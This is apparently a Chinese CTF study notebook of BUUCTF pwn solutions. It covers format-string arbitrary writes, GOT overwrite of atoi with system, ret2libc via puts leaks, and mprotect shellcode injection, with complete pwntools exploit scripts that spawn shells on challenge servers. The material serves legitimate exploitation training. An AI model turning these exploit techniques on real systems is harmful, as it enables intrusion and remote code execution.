BUUctf

1
2
3
4
5
6
一级标题:<center><font color="red"> pwn </font></center>
二级标题:<center><font color="green"> 格式化字符串漏洞 </font></center>
三级标题:<center><font color="orange"> [第五空间2019 决赛]PWN5 </font></center>

4空格缩进:&nbsp;&nbsp;&nbsp;&nbsp;
8空格缩进:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;

pwn 

格式化字符串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
栈数据读:
AAAA %08x %08x %08x %08x %08x %08x %08x %08x
AAAA_%08x_%08x_%08x_%08x_%08x_%08x_%08x_%08x
AAAA %p %p %p %p %p %p %p %p
AAAA_%p_%p_%p_%p_%p_%p_%p_%p

泄露任意地址:
addr%k$s k偏移、addr地址

任意地址写:
[addr of c]%012d%6$n
addr of c 的长度为4,故而我们得再输入12个字符才可以达到16个字符,以便于来修改c的值为16。

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

%lln :8字节
%n :4字节
%hn :2字节
%hhn :1字节


[第五空间2019 决赛]PWN5

题目链接:[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[第五空间2019 决赛]PWN5)

参考链接1:[BUUCTF]PWN——[第五空间2019 决赛]PWN5_HAIANAWEI的博客-CSDN博客

参考链接2:[buuctf——第五空间2019 决赛]PWN5 1_云啾啾啾的博客-CSDN博客

参考链接3:[第五空间2019 决赛]PWN5 ——两种解法_Mokapeng的博客-CSDN博客_pwn5 第五空间

1
2
3
4
5
6
分析&思路1:
1、源程序大意是把随机数放入到bss段的0x804c044处,用户输入用户名和密码,如果密码和随机数相等,则拿到权限。
2、程序中存在格式化字符串漏洞,我们可以通过任意写将bss段0x804c044处的密码修改为我们的输入值

分析&思路2:
1、通过格式化字符串漏洞带来的任意写权限将aoti()函数地址修改为system()地址,执行system("/bin/sh");

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
参考脚本1:(对应参考链接1)
from pwn import*
r=remote('node3.buuoj.cn',26959)

payload=p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)
payload+='%10$n%11$n%12$n%13$n'

r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

个人理解:
1. 先将地址数据0x804c0440x804c0450x804c0460x804c047排部到栈上
2. 偏移值为10(此处偏移值是指程序输入name时,通过AAAA %08x %08x ... %08x这串字符,看看第几个%08x能打印出AAAA的值0x41414141,也就是printf向栈上写入数据的栈地址,测试发现第十个%08x能打印出0x41414141所以偏移值为10)
3. 又因为p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)这串字符长度为16字节,每个地址4字节,所以通过%n向目标地址写入的数据为0x10
4. %10$n的意思是向偏移值10的栈上存储的地址处写入数据0x10,偏移10的地址为0x804c044
%13$n的意思是向偏移值13的栈上存储的地址处写入数据0x10,偏移13的地址为0x804c047

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
参考脚本2:(对应参考链接2)
from pwn import *
#context.log_level='debug'
p=remote("node3.buuoj.cn",28630)
#p=process("./pwn5")
bss=0x0804c044
#pause()
payload=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)
p.sendline(payload)
p.sendline(str(0x04040404))
p.interactive()

个人理解:
1、与参考脚本1类似,只是把栈上数据布置改了一下,思路是一样的
2、AAAA四个字符在%n前面,所以%n会将0x04写入目标地址
3、通过%16$、%17$等来表示要写入地址的偏移值

image-20220915153634079

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
参考脚本3:(对应参考链接3)
from pwn import *
#io = process("./pwn")
io = remote("node4.buuoj.cn",25068)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

作者思路:
我们可以利用fmtstr_payload修改任意内容,
fmtstr_payload是pwntools里面的一个工具,可以实现修改任意内存,用来简化对格式化字符串漏洞的构造工作。

fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})
1、fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
2、第一个参数表示格式化字符串的偏移;
3、第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};本题是将0804a048处改为0x2223322
4、第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
5、第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
6、fmtstr_payload函数返回的就是payload

思路:利用字符串漏洞将判断的atoi直接替换成system,然后手动输入"/bin/sh"字符串,即可达成system(“/bin/sh”)目的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
个人脚本1:(分析&思路1)
from pwn import *
r = remote("node4.buuoj.cn",25476)

payload = b'AAAAaaaa' #偏移10、11
payload += p32(0x0804c044) #偏移12
payload += p32(0x0804c045) #偏移13
payload += p32(0x0804c046) #偏移14
payload += p32(0x0804c047) #偏移15
payload += b'%12$n%13$n%14$n%15$n'

r.sendline(payload)
r.sendline(str(0x18181818))
r.interactive()

%n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。


重点笔记

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
个人脚本2:(分析&思路2)
from pwn import *
io = process("./pwn5")
#io = remote("node4.buuoj.cn",28333)

atoi = 0x0804c034 # readelf -a pwn5
system = 0x08049080

'''
pad1 = 8*b'a'
pad2 = 4*b'a'
pad3 = 144*b'a'
pad4 = 112*b'a'

payload = p32(0x0804c034)
payload += p32(0x0804c035)
payload += p32(0x0804c036)
payload += p32(0x0804c037)
payload += b'%8c'+b'%10$hhn'
payload += b'%4c'+b'%11$hhn'
payload += b'%144c'+b'%12$hhn'
payload += b'%128c'+b'%13$hhn'
'''

payload = p32(0x804c034)
payload += p32(0x804c035)
payload += p32(0x804c036)
payload += p32(0x804c037)

payload += b'%112c' + b'%10$hhn'
payload += b'%16c' + b'%11$hhn'
payload += b'%116c' + b'%12$hhn'
payload += b'%4c' + b'%13$hhn'

io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

'''
elf = ELF('./pwn5')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
'''

#注释部分是自己想的payload,打不通,
#参考fmtstr_payload()的源代码后重新写了个payload,打通了

#第一个 %112c 的由来:我们要向atoi = 0x0804c034地址写入system = 0x08049080
#首先写末尾一字节0x80 = 128,四个p32(0x...)占了16(4个4byte)字节,所以(128-16)%0xFF = 112

#第二个 %16c 的由来:
#其次我们要写倒数第二个字节0x90,前面输出了16+112=0x80个字节,我们只需再输出0x10=16个字节就行

#第三个 %116c 的由来:
#再者我们要写入第二个字节0x04,前面输出了0x90个字节,要输出0x04只能溢出,
#而(0x90+0x74)%0xFF=0x04,0x74=116,所以第三个为%116C,输出116个空格

#第四个 %4c 的由来:
#最后我们要写入第一个字节0x08,同理,第三步后,通过溢出相当于之前只输出过4个字节
#所以我们用 %4c 再输出4个空格即可向目标地址写入0x08

#中间的 b'%xx$hhn' 视为 %n 不算在打印字符数内(个人看法)
#了解了原理后,我们以后就可以直接用
#payload=fmtstr_payload(10,{atoi_got:system_plt})
#来生成payload了

参考链接4:CCTF pwn3格式化字符串漏洞详细writeup - 安全客,安全资讯平台 (anquanke.com)

64位格串:

参考链接5:64位格式化字符串漏洞利用——axb_2019_fmt64_N1ch0l4s的博客-CSDN博客

参考链接6:[BUUCTF]PWN——axb_2019_fmt64(64位格式化字符串改got表)_Angel~Yan的博客-CSDN博客

参考链接7:64位格式化字符串漏洞修改got表利用详解 - 安全客,安全资讯平台 (anquanke.com)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#以下是fmtstr_payload()的源代码
#https://github.com/Gallopsled/pwntools/blob/0ff989a043/pwnlib/fmtstr.py#L103-178
def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte'):

# 'byte': (number, step, mask, format, decalage)
config = {
32 : {
'byte': (4, 1, 0xFF, 'hh', 8),
'short': (2, 2, 0xFFFF, 'h', 16),
'int': (1, 4, 0xFFFFFFFF, '', 32)},
64 : {
'byte': (8, 1, 0xFF, 'hh', 8),
'short': (4, 2, 0xFFFF, 'h', 16),
'int': (2, 4, 0xFFFFFFFF, '', 32)
}
}

if write_size not in ['byte', 'short', 'int']:
log.error("write_size must be 'byte', 'short' or 'int'")

number, step, mask, formatz, decalage = config[context.bits][write_size]

# add wheres
payload = ""
for where, what in writes.items():
for i in range(0, number*step, step):
payload += pack(where+i)

numbwritten += len(payload)
fmtCount = 0
for where, what in writes.items():
for i in range(0, number):
current = what & mask
if numbwritten & mask <= current:
to_add = current - (numbwritten & mask)
else:
to_add = (current | (mask+1)) - (numbwritten & mask)

if to_add != 0:
payload += "%{}c".format(to_add)
payload += "%{}${}n".format(offset + fmtCount, formatz)

numbwritten += to_add
what >>= decalage
fmtCount += 1

return payload


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#ubuntu20.04下的pack()与.format测试结果

>>> from pwn import *
>>> where = 134529076
>>> payload = pack(where)
>>> print(payload)
b'4\xc0\x04\x08'
>>> print(where,hex(where),payload1)
134529076 0x804c034 b'4\xc0\x04\x08'

>>> a = "%{}c".format(10)
>>> print(a)
%10c
>>> b = 123
>>> c = "%{}c".format(b)
>>> print(c)
%123c

 栈 

ciscn_2019_c_1 

题型:ret2libc

参考链接:ciscn_2019_c_1 1 - 庄周恋蝶蝶恋花 - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
##!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import*
from LibcSearcher import*


context(arch="amd64",os="linux",log_level="debug")


r=remote('node4.buuoj.cn',28120)
elf=ELF('./ciscn_2019_c_1')

main = 0x400b28 #readelf -a <binary>
pop_rdi = 0x400c83 #pop rdi ; ret
ret = 0x4006b9 #ret

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

r.sendlineafter('choice!\n','1')
payload = b'\0'+b'a'*(0x50-1+8)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main)

r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,b'\0'))
print (hex(puts_addr))

libc=LibcSearcher('puts',puts_addr) #0 - libc6_2.27-3ubuntu1_amd64
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')

r.sendlineafter('choice!\n','1')

payload = b'\0'+b'a'*(0x50-1+8)
payload += p64(ret) #栈平衡操作
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

r.sendlineafter('encrypted\n',payload)

r.interactive()

get_started_3dsctf_2016

一道比较有意思的题,记录一下

参考链接1:get_started_3dsctf_2016_Nashi_Ko的博客-CSDN博客_get_started_3dsctf_2016

参考链接2:[BUUCTF]PWN11——get_started_3dsctf_2016_Angel~Yan的博客-CSDN博客

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
参靠脚本1
#!/usr/bin/env python
from pwn import *

io = remote('node4.buuoj.cn',25231)

get_flag = 0x80489A0
main = 0x8048A20
fakeebp = 0x0804E6A0

payload = 'A' * 56 + p32(get_flag) + p32(fakeebp) + p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
print(io.recv())

io.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
参靠脚本2
from pwn import *
from LibcSearcher import *

io = remote('node3.buuoj.cn',28526)
elf = ELF('./get_started_3dsctf_2016')

bss=0x080eb000
pop_ebx_esi_edi_ret=0x080509a5

payload = 'A' * 0x38 + p32(elf.sym['mprotect']) + p32(pop_ebx_esi_edi_ret) + p32(bss) + p32(0x2c) + p32(7)
payload += p32(elf.sym['read']) + p32(bss) + p32(0) + p32(bss) + p32(0x2c)
io.sendline(payload)
payload=asm(shellcraft.sh())
io.sendline(payload)

io.interactive()